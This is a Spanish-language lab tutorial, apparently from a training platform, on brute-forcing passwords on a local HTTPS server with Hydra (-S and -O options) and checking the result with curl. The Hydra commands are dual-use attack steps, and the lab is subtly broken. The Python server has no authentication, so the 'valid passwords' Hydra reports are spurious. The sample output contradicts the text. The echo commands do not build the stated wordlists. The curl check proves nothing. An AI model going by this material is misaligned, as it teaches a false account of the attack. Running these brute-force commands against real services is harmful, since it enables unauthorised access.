Atacar servicios habilitados con SSL con Hydra

Introducción

En este laboratorio, exploraremos cómo atacar servicios habilitados con SSL utilizando Hydra. El laboratorio se centra en probar las capacidades de Hydra para descifrar contraseñas en servicios protegidos con SSL/TLS.

Primero, configuraremos un servidor HTTPS local utilizando Python y openssl para generar un certificado y una clave autofirmados, simulando un entorno seguro. Luego, ejecutaremos Hydra con la opción -S para habilitar el soporte SSL y intentaremos descifrar la contraseña. También probaremos protocolos SSL más antiguos utilizando la opción -O. Finalmente, confirmaremos el éxito del ataque SSL.

Skills Graph

Configurar un servidor HTTPS local

En este paso, configuraremos un simple servidor HTTPS utilizando el módulo incorporado http.server de Python con SSL/TLS habilitado. Esto nos permitirá simular un entorno de servidor seguro para probar las capacidades SSL de Hydra.

Primero, necesitamos generar un certificado y una clave autofirmados. Este certificado se utilizará para cifrar la comunicación entre el cliente (Hydra) y el servidor. Abra su terminal y navegue al directorio ~/project:

cd ~/project

Ahora, utilice el comando openssl para generar el certificado y la clave:

openssl req -new -x509 -keyout key.pem -out cert.pem -days 365 -nodes

Se le pedirá que ingrese alguna información sobre el certificado. Puede dejar la mayoría de los campos en blanco presionando Enter. Se requiere un nombre común, puede ingresar localhost.

Generating a RSA private key
+++++
writing new private key to 'key.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:localhost
Email Address []:

Este comando crea dos archivos: key.pem (la clave privada) y cert.pem (el certificado).

Ahora, creemos un script de Python para nuestro servidor HTTPS. Utilizaremos el editor de texto nano para crear y editar el script:

nano https_server.py

Copie y pegue el siguiente código en el editor:

import http.server
import ssl
import os

## Create the HTTP server
httpd = http.server.HTTPServer(('127.0.0.1', 443), http.server.SimpleHTTPRequestHandler)

## Create SSL context
ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ssl_context.load_cert_chain(certfile='cert.pem', keyfile='key.pem')

## Wrap the socket with SSL
httpd.socket = ssl_context.wrap_socket(httpd.socket, server_side=True)

print("Serving HTTPS on 127.0.0.1 port 443 (https://127.0.0.1:443/) ...")
httpd.serve_forever()

Para guardar el archivo en nano:

1. Presione Ctrl + X para salir
2. Presione Y para confirmar el guardado
3. Presione Enter para confirmar el nombre del archivo

Ahora puede ejecutar el servidor HTTPS utilizando:

python3 https_server.py

Debería ver una salida similar a:

Serving HTTPS on 127.0.0.1 port 443 (https://127.0.0.1:443/) ...

Deje esta ventana de terminal en ejecución. Este es su servidor HTTPS. En los siguientes pasos, utilizaremos Hydra para intentar descifrar la autenticación.

IMPORTANTE: Recuerde mantener la ventana de terminal original en ejecución con el servidor HTTPS. No la cierre, ya que la necesitaremos para los siguientes pasos.

Ejecutar Hydra con -S para SSL

En este paso, utilizaremos Hydra para realizar un ataque de fuerza bruta contra el servidor HTTPS que configuramos en el paso anterior. La opción -S le indica a Hydra que utilice SSL/TLS al conectarse al servidor objetivo.

Primero, creemos una lista simple de nombres de usuario y contraseñas. Cree un archivo llamado users.txt en el directorio ~/project con el siguiente contenido:

test

A continuación, cree un archivo llamado passwords.txt en el directorio ~/project con el siguiente contenido:

password
test
123456

Puede usar echo para crear y editar estos archivos:

echo "test" > ~/project/users.txt
echo "password" > ~/project/passwords.txt
echo "test" >> ~/project/users.txt
echo "123456" >> ~/project/passwords.txt

Ahora, podemos ejecutar Hydra con la opción -S para apuntar a nuestro servidor HTTPS. Abra una nueva ventana de terminal (deje el servidor HTTPS en ejecución en la otra ventana) y navegue al directorio ~/project:

cd ~/project

Ejecute el siguiente comando de Hydra:

hydra -l test -P passwords.txt 127.0.0.1 https-get / -S -vV

Desglosemos este comando:

• hydra: La herramienta de línea de comandos de Hydra.
• -l test: Especifica el nombre de usuario a utilizar. En este caso, estamos utilizando el nombre de usuario test.
• -P passwords.txt: Especifica el archivo de lista de contraseñas. Estamos utilizando el archivo passwords.txt que creamos.
• 127.0.0.1: La dirección IP objetivo. Esta es la dirección de bucle invertido, que se refiere a nuestra máquina local.
• https-get /: Especifica el servicio a atacar (HTTPS) y la ruta a solicitar (/). https-get es un módulo que realiza solicitudes HTTP GET a través de SSL/TLS.
• -S: Le indica a Hydra que utilice SSL/TLS al conectarse al servidor objetivo. Esto es crucial para atacar servicios HTTPS.
• -vV: Habilita el modo detallado, que muestra los intentos de inicio de sesión y cualquier credencial encontrada.

Hydra ahora intentará realizar un ataque de fuerza bruta al servidor HTTPS utilizando la lista de nombres de usuario y contraseñas proporcionada. Probará cada contraseña en el archivo passwords.txt contra el nombre de usuario test.

Debería ver una salida similar a la siguiente (la salida exacta puede variar):

Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-02 14:10:55
[DATA] max 2 tasks per 1 server, overall 2 tasks, 2 login tries (l:1/p:2), ~1 try per task
[DATA] attacking http-gets://127.0.0.1:443/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 127.0.0.1 - login "test" - pass "password" - 1 of 2 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test" - pass "123456" - 2 of 2 [child 1] (0/0)
[443][http-get] host: 127.0.0.1   login: test   password: password
[STATUS] attack finished for 127.0.0.1 (waiting for children to complete tests)
[443][http-get] host: 127.0.0.1   login: test   password: 123456
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-04-02 14:10:56

Si el ataque tiene éxito, Hydra mostrará el nombre de usuario y la contraseña correctos. En este ejemplo, el nombre de usuario es test y la contraseña es password.

Probar versiones antiguas de SSL con -O

En este paso, exploraremos cómo utilizar la opción -O de Hydra para probar versiones antiguas y potencialmente vulnerables de protocolos SSL/TLS. La opción -O fuerza a Hydra a utilizar versiones antiguas de SSL, que pueden ser susceptibles a diversos ataques como POODLE o BEAST.

Antes de continuar, es importante entender que el uso de protocolos SSL/TLS antiguos generalmente se desaconseja debido a las vulnerabilidades de seguridad. Este paso tiene fines educativos para demostrar cómo se puede utilizar Hydra para identificar sistemas que aún admiten estos protocolos obsoletos.

Para utilizar la opción -O, simplemente la agregamos a nuestro comando de Hydra anterior. Asegúrese de que el servidor HTTPS del Paso 1 siga en ejecución. Abra una nueva ventana de terminal (deje el servidor HTTPS en ejecución en la otra ventana) y navegue al directorio ~/project:

cd ~/project

Ahora, ejecute el siguiente comando de Hydra:

hydra -l test -P passwords.txt 127.0.0.1 https-get / -S -O -vV

La única diferencia entre este comando y el del Paso 2 es la adición de la opción -O.

• -O: Fuerza a Hydra a utilizar versiones antiguas de SSL.

Hydra ahora intentará realizar un ataque de fuerza bruta al servidor HTTPS utilizando protocolos SSL/TLS antiguos. La salida será similar al paso anterior, pero es posible que vea advertencias o errores relacionados con las versiones antiguas de SSL.

Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-02 14:13:19
[DATA] max 2 tasks per 1 server, overall 2 tasks, 2 login tries (l:1/p:2), ~1 try per task
[DATA] attacking http-gets://127.0.0.1:443/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 127.0.0.1 - login "test" - pass "password" - 1 of 2 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test" - pass "123456" - 2 of 2 [child 1] (0/0)
[443][http-get] host: 127.0.0.1   login: test   password: password
[STATUS] attack finished for 127.0.0.1 (waiting for children to complete tests)
[443][http-get] host: 127.0.0.1   login: test   password: 123456
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-04-02 14:13:19

Si el ataque tiene éxito, Hydra mostrará el nombre de usuario y la contraseña correctos, al igual que en el paso anterior. La principal lección aquí es que la opción -O nos permitió probar la compatibilidad del servidor con protocolos SSL/TLS antiguos.

Es posible que el servidor rechace la conexión si no admite los protocolos antiguos. En ese caso, Hydra puede no encontrar la contraseña. Sin embargo, el objetivo de este paso es demostrar el uso de la opción -O, no necesariamente garantizar un inicio de sesión exitoso.

Confirmar el éxito del ataque SSL

En este paso, confirmaremos el éxito de nuestro ataque con Hydra intentando acceder al servidor HTTPS utilizando las credenciales que descubrimos. Esto demostrará que Hydra realmente pudo realizar un ataque de fuerza bruta exitoso al servidor.

Primero, asegúrese de que el servidor HTTPS del Paso 1 siga en ejecución.

Utilizaremos el comando curl para acceder al servidor y verificar que podemos autenticarnos con el nombre de usuario y la contraseña correctos.

Abra una nueva ventana de terminal (deje el servidor HTTPS en ejecución en la otra ventana) y navegue al directorio ~/project:

cd ~/project

Ahora, ejecute el siguiente comando curl:

curl -k -u test:password https://127.0.0.1

Desglosemos este comando:

• curl: La herramienta de línea de comandos para transferir datos con URLs.
• -k: Permite que curl continúe y funcione incluso para conexiones de servidor que de otro modo se considerarían inseguras. Dado que estamos utilizando un certificado autofirmado, curl normalmente se negará a conectarse.
• -u test:password: Especifica el nombre de usuario y la contraseña a utilizar para la autenticación. Estamos utilizando las credenciales test:password que descubrimos en los pasos anteriores.
• https://127.0.0.1: La URL del servidor HTTPS.

Si la autenticación tiene éxito, curl mostrará el contenido del directorio raíz del servidor. Dado que estamos utilizando el módulo http.server de Python, probablemente mostrará una lista de directorios del directorio ~/project.

Debería ver una salida similar a la siguiente (la salida exacta puede variar dependiendo de los archivos en su directorio ~/project):

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>Directory listing for /</title>
  </head>
  <body>
    <h1>Directory listing for /</h1>
    <hr />
    <ul>
      <li><a href="cert.pem">cert.pem</a></li>
      <li><a href="https_server.py">https_server.py</a></li>
      <li><a href="key.pem">key.pem</a></li>
      <li><a href="passwords.txt">passwords.txt</a></li>
      <li><a href="server.pem">server.pem</a></li>
      <li><a href="users.txt">users.txt</a></li>
    </ul>
    <hr />
  </body>
</html>

Esto confirma que pudimos autenticarnos exitosamente en el servidor HTTPS utilizando las credenciales descubiertas por Hydra. Esto demuestra la efectividad de Hydra para realizar ataques de fuerza bruta en contraseñas débiles, incluso en conexiones SSL/TLS.

Si ve un mensaje de error en lugar de la lista de directorios, verifique nuevamente que el servidor HTTPS siga en ejecución y que esté utilizando el nombre de usuario y la contraseña correctos.

Resumen

En este laboratorio, aprendimos cómo atacar servicios habilitados con SSL utilizando Hydra. El primer paso consistió en configurar un servidor HTTPS local utilizando el módulo http.server de Python y generar un certificado y una clave autofirmados con openssl para simular un entorno seguro.

Luego, exploramos las capacidades de Hydra ejecutándolo con la opción -S para habilitar conexiones SSL y la opción -O para probar protocolos SSL antiguos. Finalmente, confirmamos el éxito del ataque SSL, demostrando la capacidad de Hydra para realizar ataques de fuerza bruta en credenciales a través de SSL/TLS.